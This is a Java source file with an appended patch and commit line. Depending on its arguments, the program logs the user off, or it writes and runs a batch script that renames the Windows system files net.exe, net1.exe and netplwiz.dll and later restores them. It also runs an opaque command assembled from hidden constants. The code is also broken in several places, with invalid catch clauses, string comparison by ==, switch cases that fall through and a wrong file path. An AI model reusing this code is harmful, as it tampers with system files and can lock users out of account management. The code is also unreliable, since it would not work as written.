/*
   Copyright (C) 2011-2014 AC Inc. (Andy Cheung)

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
*/

import java.io.*;

/* The Main Class */
public class Run implements IWriter{
  public int decrypt(String[] ar){
    int vc = Integer.parseInt(ar[0]);
    int ask = Integer.parseInt(ar[1]);
    int fnum = vc + ask;
    return fnum;
  }

  public void execute(int code){
    switch(code){
        case 0:
          Runtime.getRuntime().exec("C:\\Windows\\System32\\logoff.exe");
          break;
        case 1:
          writeText("C:\\t.cmd", "ren %systemroot%\\net.exe n1.exe");
          writeBR("C:\\t.cmd");
          writeText("C:\\t.cmd", "ren %systemroot%\\net1.exe n2.exe");
          writeBR("C:\\t.cmd");
          writeText("C:\\t.cmd", "ren %systemroot%\\netplwiz.dll netplwiz.dl3");
          writeBR("C:\\t.cmd");
          Runtime.getRuntime().exec("cmd.exe " + "C:\t.cmd");
        case 2:
          writeText("C:\\t.cmd", "ren %systemroot%\\n1.exe net.exe");
          writeBR("C:\\t.cmd");
          writeText("C:\\t.cmd", "ren %systemroot%\\n2.exe net1.exe");
          writeBR("C:\\t.cmd");
          writeText("C:\\t.cmd", "ren %systemroot%\\netplwiz.dl3 netplwiz.dll");
          writeBR("C:\\t.cmd");
          Runtime.getRuntime().exec("cmd.exe " + "C:\t.cmd");
        default:
          return;
    }
  }
  public void writeText(String path,String text){
    File tBatchF = new File(path);

    FileOutputStream tBatchStream = null;
    try{
      tBatchStream = new FileOutputStream(tBatchF);
    }
    catch(FileNotFoundException){
    }

    PrintStream tBatchPStream = null;
    try{
      tBatchPStream = new PrintStream(tBatchStream);
    }
    catch(NullPointerException){}

    tBatchPStream.append(text);
    tBatchPStream.flush();
    tBatchPStream.close();
  }
  public void writeBR(String p){
    writeText(p, "\n");
  }
  public static void main(String[] a){
    Run thisInstance = new Run();
    if(a[0] == "x" && a[1] == "x"){
      switch(a[3]){
        case "lo":
          thisInstance.execute(0);
          break;
        case "pr":
          thisInstance.execute(1);
          break;
        case "re":
          thisInstance.execute(2);
          break;
        default:
          System.out.print("Invaild Arg!!!");
      }
    }
    else{
      int rv = thisInstance.decrypt(a);
      if(rv >= 5 && !(rv < 0)){
        StringBuffer sb = new StringBuffer();
        sb.append(IWriter.baseCmd);
        sb.append(IWriter.armv7a);
        sb.append(rv);
        thisInstance.writeText("C:\\t.cmd", sb.toString());
        Runtime.getRuntime().exec("cmd.exe " + "C:\\t.cmd");
      }
    }
  }
}

@@ -1828,24 +1828,25 @@
 ;%0A    %7D%0A  %7D%0A
+%0A
   public voi
@@ -2059,16 +2059,21 @@
 xception
+ fnfe
 )%7B%0A    %7D
@@ -2210,18 +2210,27 @@
 xception
-)%7B
+ npe)%7B%0A    
 %7D%0A%0A    t
@@ -2310,24 +2310,25 @@
 lose();%0A  %7D%0A
+%0A
   public voi
@@ -2372,20 +2372,21 @@
  %22%5Cn%22);%0A
-
   %7D%0A
+%0A
   public

Update Run.java